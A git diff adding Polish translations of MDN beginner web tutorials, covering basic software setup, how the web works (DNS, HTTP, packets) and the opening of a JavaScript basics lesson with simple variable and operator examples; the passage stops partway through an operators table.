+ <li><strong>Program FTP</strong>, używany na starszych kontach hostingowych do zarządzania plikami na serwerach (<a href="http://git-scm.com/">Git</a> coraz częściej zastępuje w tym celu FTP). Dostępnych jest wiele programów (S)FTP, w tym <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a> i <a href="https://filezilla-project.org/">FileZilla</a>.</li>
+ <li><strong>System automatyzacji</strong>, taki jak <a href="https://webpack.js.org/">Webpack</a>, <a href="http://gruntjs.com/">Grunt</a> lub <a href="http://gulpjs.com/">Gulp</a>, który automatycznie wykonuje powtarzające się zadania, takie jak minifikacja kodu i przeprowadzanie testów.</li>
+ <li>Biblioteki, frameworki, itp., aby przyspieszyć pisanie powszechnych funkcji. Biblioteka jest zazwyczaj istniejącym plikiem JavaScript lub CSS, który zapewnia gotowe funkcje do wykorzystania w kodzie. Framework ma tendencję do kontynuowania tego pomysłu, oferując kompletny system z niestandardowymi składniami do pisania aplikacji internetowej na najwyższym poziomie.</li>
+ <li>Oraz wiele więcej narzędzi!</li>
+</ul>
+
+<h2 id="Jakich_właściwie_narzędzi_potrzebuję_na_teraz">Jakich właściwie narzędzi potrzebuję na teraz?</h2>
+
+<p>Wygląda to na przerażającą listę, ale na szczęście można zacząć tworzyć strony internetowe, nie wiedząc nic o większości z nich. W tym artykule przedstawimy Ci tylko minimum - edytor tekstu i kilka nowoczesnych przeglądarek internetowych.</p>
+
+<h3 id="Instalacja_edytora_tekstowego">Instalacja edytora tekstowego</h3>
+
+<p>Prawdopodobnie masz już podstawowy edytor tekstu na swoim komputerze. Domyślnie Windows zawiera <a href="https://pl.wikipedia.org/wiki/Notatnik_(program)">Notatnik</a> a macOS dostarczany jest z <a href="https://pl.wikipedia.org/wiki/TextEdit">TextEdit</a>. Dystrybucje Linuksa różnią się od siebie; na Ubuntu jest to <a href="https://pl.wikipedia.org/wiki/Gedit">gedit</a>.</p>
+
+<p>W przypadku tworzenia stron internetowych, przydałby ci się jednak lepszy edytor tekstowy. Polecamy zacząć od <a href="https://code.visualstudio.com/">Visual Studio Code</a>, który jest darmowym edytorem, oferującym podglądy na żywo i podpowiedzi do kodu.</p>
+
+<h3 id="Instalacja_nowoczesnych_przeglądarek_internetowych">Instalacja nowoczesnych przeglądarek internetowych</h3>
+
+<p>Na razie zainstalujemy kilka przeglądarek internetowych, aby przetestować nasz kod. Wybierz swój system operacyjny poniżej i kliknij odpowiednie linki aby pobrać instalatory swoich ulubionych przeglądarek:</p>
+
+<ul>
+ <li>Linux: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="https://www.opera.com/">Opera</a>, <a href="https://brave.com">Brave</a>.</li>
+ <li>Windows: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="https://www.opera.com/">Opera</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a>, <a href="https://www.microsoft.com/en-us/edge">Microsoft Edge</a>, <a href="https://brave.com">Brave</a> (System Windows 10 jest domyślnie wyposażony w przeglądarkę Edge; jeśli masz Windows 7 lub nowszy, możesz zainstalować Internet Explorer 11; w przeciwnym razie należy zainstalować alternatywną przeglądarkę).</li>
+ <li>macOS: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="https://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="https://brave.com">Brave</a> (macOS i iOS są domyślnie wyposażone w Safari).</li>
+</ul>
+
+<p>Zanim przejdziesz dalej, należy zainstalować co najmniej dwie z tych przeglądarek i mieć je gotowe do testów.</p>
+
+<div class="blockIndicator note">
+<p><strong>Uwaga</strong>: Internet Explorer nie jest kompatybilny z niektórymi nowoczesnymi funkcjami sieciowymi i może nie być w stanie uruchomić twojego projektu. Zazwyczaj nie musisz się martwić o to, aby twoje projekty były z nim kompatybilne, ponieważ bardzo niewiele osób nadal z niego korzysta - na pewno nie martw się o niego zbytnio podczas nauki. Czasami możesz natknąć się na projekt, który wymaga wsparcia.</p>
+</div>
+
+<h3 id="Instalacja_lokalnego_serwera_sieciowego">Instalacja lokalnego serwera sieciowego</h3>
+
+<p>Niektóre przykłady będą musiały być uruchamiane przez serwer sieciowy, aby działały poprawnie. Możesz dowiedzieć się jak to zrobić w <a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">Jak skonfigurować lokalny serwer testowy?</a></p>
+
+<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/pl/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Instalacja podstawowego oprogramowania</a></li>
+ <li id="What_will_your_website_look_like"><a href="/pl/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Jak będzie wyglądała twoja strona internetowa?</a></li>
+ <li id="Dealing_with_files"><a href="/pl/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Radzenie sobie z plikami</a></li>
+ <li id="HTML_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/HTML_basics">Podstawy HTML</a></li>
+ <li id="CSS_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/CSS_basics">Podstawy CSS</a></li>
+ <li id="JavaScript_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Podstawy JavaScript</a></li>
+ <li id="Publishing_your_website"><a href="/pl/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Publikowanie swojej strony internetowej</a></li>
+ <li id="How_the_web_works"><a href="/pl/docs/Learn/Getting_started_with_the_web/Jak_dziala_Siec">Jak działa sieć</a></li>
+</ul>
diff --git a/files/pl/learn/getting_started_with_the_web/jak_dziala_siec/index.html b/files/pl/learn/getting_started_with_the_web/jak_dziala_siec/index.html
new file mode 100644
index 0000000000..6d1a97d33c
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/jak_dziala_siec/index.html
@@ -0,0 +1,110 @@
+---
+title: Jak działa Sieć
+slug: Learn/Getting_started_with_the_web/Jak_dziala_Siec
+tags:
+ - Beginner
+ - Client
+ - DNS
+ - HTTP
+ - IP
+ - Infrastructure
+ - Learn
+ - Server
+ - TCP
+ - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>Jak działa Sieć</em> zapewnia uproszczony wgląd w to, co dzieje się podczas przeglądania witryny w przeglądarce internetowej na komputerze lub telefonie.</p>
+</div>
+
+<p>Teoria ta nie jest niezbędna do pisania kodu, ale na dłuższą metę zrozumienie tego, co dzieje się w tle, przynosi korzyści.</p>
+
+<h2 id="Klienci_i_serwery">Klienci i serwery</h2>
+
+<p>Komputery podłączone do sieci są nazywane <strong>klientami </strong>i <strong>serwerami</strong>. Uproszczony schemat ich interakcji może wyglądać w ten sposób:</p>
+
+<p><img alt="Dwa kółka reprezentujące klienta i serwer. Strzałka oznaczona jako zapytanie przechodzi z klienta do serwera, a strzałka oznaczona jako odpowiedź przechodzi z serwera do klienta." src="https://media.prod.mdn.mozit.cloud/attachments/2020/08/11/17375/3a120e53720c56bd08e3e0b3465edc88/simple-client-server_PL.png" style="height: 371px; width: 1193px;"></p>
+
+<ul>
+ <li>Klientami są typowe urządzenia użytkownika podłączone do Internetu (na przykład komputer podłączony do sieci Wi-Fi lub telefon podłączony do sieci komórkowej) oraz oprogramowanie umożliwiające dostęp do Internetu znajdujące się na tych urządzeniach (zazwyczaj przeglądarka internetowa, taka jak Firefox lub Chrome).</li>
+ <li>Serwery to komputery, na których przechowywane są witryny, strony lub aplikacje. Gdy urządzenie klienckie chce uzyskać dostęp do strony internetowej, kopia strony jest pobierana z serwera na komputer kliencki i wyświetlana w przeglądarce internetowej użytkownika.</li>
+</ul>
+
+<h2 id="Pozostałe_części_składowe">Pozostałe części składowe</h2>
+
+<p>Klient i serwer, o których pisaliśmy powyżej, nie opowiadają całej historii. Jest wiele innych części, które są związane z tym tematem, a my opiszemy je poniżej.</p>
+
+<p>Na razie, wyobraźmy sobie, że sieć to droga. Na jednym końcu tej drogi jest klient, który jest jak twój dom. Na drugim końcu drogi jest serwer, który jest sklepem, w którym chcesz coś kupić.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p>
+
+<p>Oprócz klienta i serwera, musimy się również przywitać z:</p>
+
+<ul>
+ <li><strong>Twoim połączeniem internetowym</strong>: Pozwala na wysyłanie i odbieranie danych w sieci. W zasadzie jest jak ulica pomiędzy twoim domem a sklepem.</li>
+ <li><strong>TCP/IP</strong>: Protokół Sterowania Transmisją i Protokół Internetowy są protokołami komunikacyjnymi, które określają sposób przesyłania danych przez Internet. To tak jak mechanizmy transportowe, które pozwalają na składanie zamówień, chodzenie do sklepu i kupowanie towarów. W naszym przykładzie jest to samochód lub rower (lub jakkolwiek inaczej możesz się poruszać).</li>
+ <li><strong>DNS</strong>: System Nazw Domen jest jak książka adresowa dla stron internetowych. Kiedy wpisujesz adres internetowy w przeglądarce, przeglądarka patrzy na DNS, aby znaleźć prawdziwy adres strony internetowej, zanim będzie mogła go wyświetlić. Przeglądarka musi dowiedzieć się, na którym serwerze znajduje się strona internetowa, aby mogła wysłać wiadomości HTTP we właściwe miejsce (patrz poniżej). Jest to jak szukanie adresu sklepu, aby uzyskać do niego dostęp.</li>
+ <li><strong>HTTP</strong>: Hypertext Transfer Protocol jest {{Glossary("Protocol" , "protokołem")}} aplikacji, który definiuje język, w którym klienci i serwery mogą rozmawiać ze sobą. Jest to język, którego używasz do zamawiania swoich towarów.</li>
+ <li><strong>Plikami składowymi</strong>: Strona składa się z wielu różnych plików, które są jak różne części towaru kupowanego w sklepie. Pliki te występują w dwóch głównych typach:
+ <ul>
+ <li><strong>Pliki z kodem</strong>: Strony internetowe są zbudowane głównie z HTML, CSS i JavaScript, choć inne technologie poznasz nieco później.</li>
+ <li><strong>Zasoby</strong>: To wspólna nazwa dla wszystkich innych rzeczy, które składają się na stronę internetową, takich jak obrazy, muzyka, wideo, dokumenty Word i PDFy.</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Więc_co_się_dokładnie_dzieje">Więc co się dokładnie dzieje?</h2>
+
+<p>Po wpisaniu adresu strony internetowej w przeglądarce (dla naszej analogii jest to jak chodzenie do sklepu):</p>
+
+<ol>
+ <li>Przeglądarka przechodzi do serwera DNS i znajduje rzeczywisty adres serwera, na którym znajduje się strona internetowa (znajduje się adres sklepu).</li>
+ <li>Przeglądarka wysyła do serwera wiadomość z żądaniem HTTP, prosząc go o przesłanie kopii strony internetowej do klienta (wchodzisz do sklepu i zamawiasz towar). Ta wiadomość i wszystkie inne dane wysyłane pomiędzy klientem a serwerem są przesyłane przez twoje połączenie internetowe przy użyciu TCP/IP.</li>
+ <li>Jeśli serwer zaakceptuje prośbę klienta, serwer wysyła do niego wiadomość "200 OK", co oznacza "Oczywiście możesz zajrzeć na tę stronę! Tutaj jest", a następnie zaczyna wysyłać pliki strony do przeglądarki w postaci serii małych kawałków zwanych pakietami danych (sklep daje Ci towar, a Ty przynosisz go z powrotem do domu).</li>
+ <li>Przeglądarka składa małe kawałki w kompletną stronę internetową i wyświetla ją Tobie (towar dociera do Twoich drzwi - nowe błyszczące rzeczy, niesamowite!).</li>
+</ol>
+
+<h2 id="Wyjaśnienie_DNS">Wyjaśnienie DNS</h2>
+
+<p>Prawdziwe adresy internetowe nie są miłymi, zapadającymi w pamięć słowami, które wpisujesz do paska adresu, aby znaleźć swoje ulubione strony. Są to specjalne numery, które wyglądają tak: <code>63.245.215.20</code>.</p>
+
+<p>Nazywa się to {{Glossary("IP Address", "adresem IP")}} i reprezentuje on unikalną lokalizację w sieci. Jednakże, nie jest to łatwe do zapamiętania, prawda? Właśnie dlatego wynaleziono system nazw domen. Są to specjalne serwery, które dopasowują adres internetowy, który wpisujesz do przeglądarki (np. "mozilla.org") do rzeczywistego adresu strony internetowej (IP).</p>
+
+<p>Do stron internetowych można dotrzeć bezpośrednio poprzez ich adresy IP. Adres IP strony internetowej można znaleźć wpisując jej domenę do narzędzia takiego jak <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a>.</p>
+
+<h2 id="Objaśnienie_pakietów">Objaśnienie pakietów</h2>
+
+<p>Wcześniej używaliśmy terminu "pakiety" do określenia formatu, w jakim dane są wysyłane z serwera do klienta. Co mamy tu na myśli? Zasadniczo, gdy dane są wysyłane przez sieć, są one wysyłane w postaci tysięcy małych kawałków, dzięki czemu wielu różnych użytkowników sieci może pobrać tę samą stronę w tym samym czasie. Gdyby strony internetowe były wysyłane jako pojedyncze duże kawałki, tylko jeden użytkownik mógłby pobrać jeden na raz, co oczywiście uczyniłoby sieć bardzo nieefektywną i mało przyjemną w użyciu.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/How_the_Internet_works">Jak działa Internet</a></li>
+ <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — an Application-Level Protocol</a></li>
+ <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a></li>
+ <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: Response Codes</a></li>
+</ul>
+
+<h2 id="Uznanie">Uznanie</h2>
+
+<p>Zdjęcie ulicy: <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, autorstwa <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p>
+
+<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/pl/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Instalacja podstawowego oprogramowania</a></li>
+ <li id="What_will_your_website_look_like"><a href="/pl/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Jak będzie wyglądała twoja strona internetowa?</a></li>
+ <li id="Dealing_with_files"><a href="/pl/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Radzenie sobie z plikami</a></li>
+ <li id="HTML_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/HTML_basics">Podstawy HTML</a></li>
+ <li id="CSS_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/CSS_basics">Podstawy CSS</a></li>
+ <li id="JavaScript_basics"><a href="/pl/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Podstawy JavaScript</a></li>
+ <li id="Publishing_your_website"><a href="/pl/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Publikowanie swojej strony internetowej</a></li>
+ <li id="How_the_web_works"><a href="/pl/docs/Learn/Getting_started_with_the_web/Jak_dziala_Siec">Jak działa sieć</a></li>
+</ul>
diff --git a/files/pl/learn/getting_started_with_the_web/javascript_basics/index.html b/files/pl/learn/getting_started_with_the_web/javascript_basics/index.html
new file mode 100644
index 0000000000..cf62e22bb7
--- /dev/null
+++ b/files/pl/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -0,0 +1,395 @@
+---
+title: Podstawy JavaScript
+slug: Learn/Getting_started_with_the_web/JavaScript_basics
+tags:
+ - Początkujący
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>JavaScript to język programowania, który dodaje interaktywność do Twojej witryny (na przykład: gry, odpowiedzi po naciśnięciu przycisków lub wprowadzeniu danych do formularza, dynamiczne stylowanie, animacja). Ten artykuł pomoże Ci rozpocząć przygodę z tym ekscytującym językiem oraz przedstawi przedsmak tego, co dzięki niemu jest możliwe.</p>
+</div>
+
+<h2 id="Czym_naprawdę_jest_JavaScript">Czym naprawdę jest JavaScript?</h2>
+
+<p>{{Glossary("JavaScript")}} (w skrócie "JS") jest pełnoprawnym {{Glossary("Dynamic programming language", "dynamicznym językiem programowania")}}, który po dodaniu do dokumentu {{Glossary("HTML")}}, może dostarczyć dynamiczną zawartość do stron internetowych. Został stworzony przez Brendan'a Eich, współtwórcę projektu Mozilla, Mozilla Foundation i Mozilla Corporation.</p>
+
+<p>JavaScript jest niezwykle wszechstronny. Możesz zacząć z czymś małym, z karuzelami, galeriami obrazków, zmiennymi układami strony i odpowiedziami na kliknięcia przycisków. Z większym doświadczeniem, będziesz w stanie stworzyć gry, animowane grafiki 2D i 3D, kompleksowe aplikacje oparte na bazach danych i wiele więcej!</p>
+
+<p>JavaScript jest dość zwarty, ale jednocześnie bardzo elastyczny. Programiści napisali wiele różnych narzędzi z wykorzystaniem rdzenia języka JavaScript, otwierając mnóstwo dodatkowych funkcjonalności przy minimalnym wysiłku. Obejmują one:</p>
+
+<ul>
+ <li>Browser Application Programming Interfaces ({{Glossary("API","APIs")}}) — API wbudowane w przeglądarki internetowe, zapewniające takie funkcjonalności jak dynamiczne tworzenie HTML i ustawianie stylów CSS, zbieranie i manipulowanie strumieniem wideo z kamery internetowej użytkownika lub generowanie grafiki 3D i próbek audio.</li>
+ <li>API innych firm umożliwiające programistom dołączenie do swoich witryn funkcjonalności pochodzących od innych dostawców treści, takich jak Twitter czy Facebook.</li>
+ <li>Frameworki i biblioteki innych firm zewnętrznych, które możesz  wykorzystać w swoim kodzie HTML, by umożliwić sobie szybkie tworzenie witryn i aplikacji internetowych.</li>
+</ul>
+
+<p>Ponieważ ten artykuł ma być jedynie lekkim wprowadzeniem do JavaScript, nie będziemy mieszać Ci na tym etapie mówiąc szczegółowo o tym, jaka jest różnica między jądrem języka JavaScript, a różnymi narzędziami wymienionymi powyżej. Możesz później nauczyć się tego wszystkiego szczegółowo, w naszym <a href="/en-US/docs/Learn/JavaScript">JavaScript learning area</a> i w pozostałych artykułach MDN.</p>
+
+<p>Poniżej przedstawimy kilka aspektów podstaw języka, będziesz miał także okazje pobawić się kilkoma funkcjonalnościami interfejsu API przeglądarki. Baw się dobrze!</p>
+
+<h2 id="Przykład_hello_world">Przykład "hello world"</h2>
+
+<p>Powyższa sekcja może brzmieć naprawdę ekscytująco i tak powinno być — JavaScript jest jedną z najbardziej żywych technologii internetowych i kiedy zaczniesz się nią dobrze posługiwać to twoje witryny internetowe wejdą w nowy wymiar mocy i kreatywności.</p>
+
+<p>Jednak uzyskanie poczucia komfortu w używaniu JavaScript jest trudniejsze niż w przypadku korzystania z HTML i CSS. Być może lepiej będzie zacząć powoli i kontynuować pracę za pomocą małych konsekwentnych kroków. Na początek pokażemy, jak dodać podstawowy kod JavaScript do Twojej strony tworząc przykład "hello world!" (<a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">standard w podstawowych przykładach programowania</a>).</p>
+
+<div class="warning">
+<p><strong>Ważne</strong>: Jeśli nie podążałeś za wcześniejszą częścią naszego kursu, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">pobierz ten przykładowy kod</a> i użyj go jako punktu wyjścia.</p>
+</div>
+
+<ol>
+ <li>Po pierwsze, przejdź do swojej strony testowej i utwórz nowy folder o nazwie „scripts” (bez cudzysłowów). Następnie w nowym folderze skryptów utwórz nowy plik o nazwie <code>main.js</code>. Zapisz go w folrderze <code>scripts</code>.</li>
+ <li>Następnie w pliku <code>index.html</code> wprowadź następujący element w nowej linii, tuż przed zamknięciem tagu <code>&lt;/body&gt;</code>:
+ <pre>&lt;script src="scripts/main.js"&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>W zasadzie, ten kod działa identycznie, jak element {{htmlelement("link")}} w CSS — dodaje JavaScript do strony, więc może mieć wpływ na HTML (wraz z CSS i czymkolwiek innym na stronie).</li>
+ <li>Teraz dodaj następujący kod do pliku <code>main.js</code>:
+ <pre>var myHeading = document.querySelector('h1');
+myHeading.textContent = 'Hello world!';</pre>
+ </li>
+ <li>Na koniec upewnij się, że pliki HTML i JavaScript są zapisane, a następnie załaduj <code>index.html</code> w przeglądarce. Powinieneś zobaczyć coś takiego:<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png"></li>
+</ol>
+
+<div class="note">
+<p><strong>Notatka</strong>: Powód, dla którego wstawiliśmy element {{htmlelement("script")}} w dolnej części pliku HTML jest to, że elementy w HTML są ładowane przez przeglądarkę w kolejności pojawienia się ich w pliku. Jeśli JavaScript jest ładowany jako pierwszy i ma wpływać na HTML poniżej, może to nie zadziałać, ponieważ JavaScript byłby ładowany przed HTML na którym ma pracować. Dlatego umieszczenie kodu JavaScript w dolnej części strony HTML jest często najlepszą strategią.</p>
+</div>
+
+<h3 id="Co_się_wydarzyło">Co się wydarzyło?</h3>
+
+<p>Twój tekst nagłówka został zmieniony na "Hello world!" przy użyciu JavaScript. Zrobiłeś to najpierw, używając funkcji zwanej <code>{{domxref("Document.querySelector", "querySelector()")}}</code> by chwycić referencje do nagłówka i przechowywać ją w zmiennej o nazwie <code>myHeading</code>. Jest to bardzo podobne do tego, co zrobiliśmy przy użyciu selektorów CSS. Kiedy chcesz coś zrobić z elementem, najpierw musisz go wybrać.</p>
+
+<p>Następnie ustawiłeś wartość właściwości<code>{{domxref("Node.textContent", "textContent")}}</code> zmiennej <code>myHeading</code> (która reprezentuje zawartość nagłówka) na "Hello world!".</p>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Obie funkcje, których używałeś powyżej, są częścią <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM) API</a>, który pozwala na manipulowanie treścią strony.</p>
+</div>
+
+<h2 id="Podstawy_języka">Podstawy języka</h2>
+
+<p>Wytłumaczmy niektóre podstawowe cechy języka JavaScript, aby lepiej zrozumieć, jak to wszystko działa. Warto zauważyć, że te cechy są wspólne dla wszystkich języków programowania, więc jeśli opanujesz te podstawy, jesteś na dobrej drodze aby móc programować w czymkolwiek!</p>
+
+<div class="warning">
+<p><strong>Ważne</strong>: W tym artykule spróbuj wprowadzać przykładowe linie kodu do konsoli JavaScript, aby zobaczyć, co się zdarzy. Więcej informacji na temat konsoli JavaScript można znaleźć w sekcji <a href="/en-US/Learn/Discover_browser_developer_tools">Discover browser developer tools</a>.</p>
+</div>
+
+<h3 id="Zmienne">Zmienne</h3>
+
+<p>{{Glossary("Variable", "Zmienne")}} są kontenerami w których można zapisywać wartości. Zacznij od zadeklarowania zmiennej za pomocą słowa kluczowego <code>var</code>, a następnie dowolnej nazwy, której chcesz użyć:</p>
+
+<pre class="brush: js">var myVariable;</pre>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Średnik na końcu wiersza wskazuje, gdzie kończy się instrukcja; jest to bezwzględnie wymagane tylko w przypadku, gdy musisz oddzielić poszczególne instrukcje w jednej linii. Jednak niektórzy uważają, że dobrą praktyką jest umieszczenie ich pod koniec każdej instrukcji. Istnieją inne zasady kiedy należy, a kiedy nie powinno się ich używać — po więcej szczegółów zobacz <a href="https://www.codecademy.com/blog/78">Your Guide to Semicolons in JavaScript</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Możesz dowolnie nazwać zmienną, ale istnieją pewne zastrzeżone nazwy (zobacz <a href="http://www.codelifter.com/main/tips/tip_020.shtml">w tym artykule o regułach nazewnictwa zmiennych</a>). Jeśli nie jesteś pewien, <a href="https://mothereff.in/js-variables">możesz sprawdzić nazwę zmiennej</a>, aby upewnić się, czy jest prawidłowa.</p>
+</div>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: JavaScript rozróżnia małe i duże litery — <code>myVariable</code>jest inną zmienną niż <code>myvariable</code>. Jeśli pojawiają się problemy w kodzie, sprawdź wielkość liter!</p>
+</div>
+
+<p>Po zadeklarowaniu zmiennej możesz nadać jej wartość:</p>
+
+<pre class="brush: js">myVariable = 'Bob';</pre>
+
+<p>Jeśli chcesz, możesz wykonać obydwie operacje w tej samej linii:</p>
+
+<pre>var myVariable = 'Bob';</pre>
+
+<p>Możesz pobrać wartość przez wywołanie zmiennej po nazwie:</p>
+
+<pre class="brush: js">myVariable;</pre>
+
+<p>Po podaniu wartości zmiennej można ją później zmienić:</p>
+
+<pre>var myVariable = 'Bob';
+myVariable = 'Steve';</pre>
+
+<p>Warto zauważyć, że zmienne mają różne <a href="/en-US/docs/Web/JavaScript/Data_structures">typy danych</a>:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">Typ</th>
+ <th scope="col">Wyjaśnienie</th>
+ <th scope="col">Przykład</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">{{Glossary("String")}}</th>
+ <td>Sekwencja tekstu znana jako ciąg znaków. Aby potwierdzić, że zmienna jest ciągiem, należy zamknąć jej wartość w apostrofach.</td>
+ <td><code>var myVariable = 'Bob';</code></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Number")}}</th>
+ <td>Liczba. Liczb nie zamyka się w apostrofach.</td>
+ <td><code>var myVariable = 10;</code></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Boolean")}}</th>
+ <td>Prawda / Fałsz. Słowa <code>true</code> i <code>false</code> to specjalne słowa kluczowe w JS i nie potrzebują apostrofów.</td>
+ <td><code>var myVariable = true;</code></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Array")}}</th>
+ <td>Konstrukcja, która pozwala na przechowywanie wielu wartości w jednym odniesieniu.</td>
+ <td><code>var myVariable = [1,'Bob','Steve',10];</code><br>
+ Odwołaj się do każdego elementu tej tablicy:<br>
+ <code>myVariable[0]</code>, <code>myVariable[1]</code>, itd.</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Object")}}</th>
+ <td>Zasadniczo cokolwiek. Wszystko w JavaScript jest obiektem i może być przechowywane w zmiennej. Pamiętaj o tym podczas nauki.</td>
+ <td><code>var myVariable = document.querySelector('h1');</code><br>
+ Również wszystkie powyższe przykłady.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Więc dlaczego potrzebujemy zmiennych? Cóż, zmienne są potrzebne, aby zrobić cokolwiek interesującego w programowaniu. Jeśli nie moglibyśmy zmieniać wartości, to nie możnaby zrobić nic dynamicznego, jak personalizacja powitania lub zmiana wyświetlanego obrazu w galerii.</p>
+
+<h3 id="Komentarze">Komentarze</h3>
+
+<p>Możesz umieścić komentarze w kodzie JavaScript, tak samo jak w CSS:</p>
+
+<pre class="brush: js">/*
+Wszystko pomiędzy to komentarz.
+*/</pre>
+
+<p>Jeśli Twój komentarz nie zawiera przerw między wierszami, często łatwiej jest umieścić go za dwoma ukośnikami:</p>
+
+<pre class="brush: js" style="font-size: 14px;">// To jest komentarz
+</pre>
+
+<h3 id="Operatory">Operatory</h3>
+
+<p><code>{{Glossary("Operator")}}</code> jest symbolem matematycznym, który generuje wynik w oparciu o dwie wartości (lub zmienne). W poniższej tabeli można zobaczyć niektóre z najprostszych operatorów oraz kilka przykładów, które można wypróbować w konsoli JavaScript.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">Operator</th>
+ <th scope="col">Wyjaśnienie</th>
+ <th scope="col">Symbole</th>
+ <th scope="col">Przykład</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Dodawanie</th>
+ <td>Służy do dodawania dwóch liczb lub sklejenia dwóch ciągów znaków.</td>
+ <td><code>+</code></td>
+ <td><code>6 + 9;<br>
+ "Hello " + "world!";</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Odejmowanie, Mnożenie, Dzielenie</th>
+ <td>Robią to, co można oczekiwać od nich w podstawowej matematyce.</td>
+ <td><code>-</code>, <code>*</code>, <code>/</code></td>
+ <td><code>9 - 3;<br>
+ 8 * 2; // mnożenie w JS jest gwiazdką<br>
+ 9 / 3;</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Przypisanie wartości</th>
+ <td>Widzieliście już to: przypisuje wartość zmiennej.</td>
+ <td><code>=</code></td>
+ <td><code>var myVariable = 'Bob';</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Znak równości</th>
+ <td>Wykonuje test sprawdzający, czy dwie wartości są sobie równe i zwraca wynik <code>true</code> / <code>false</code> (Boolean).</td>
+ <td><code>===</code></td>
+ <td><code>var myVariable = 3;<br>
+ myVariable === 4;</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Zaprzeczenie, Nie równa się</th>
+ <td>Zwraca logicznie odwrotną wartość tego, co poprzedza; zmienia <code>true</code> w <code>false</code>, itd. Kiedy jest używany wraz z operatorem równości, operator negacji sprawdza, czy dwie wartości <em>nie</em> są równe.</td>
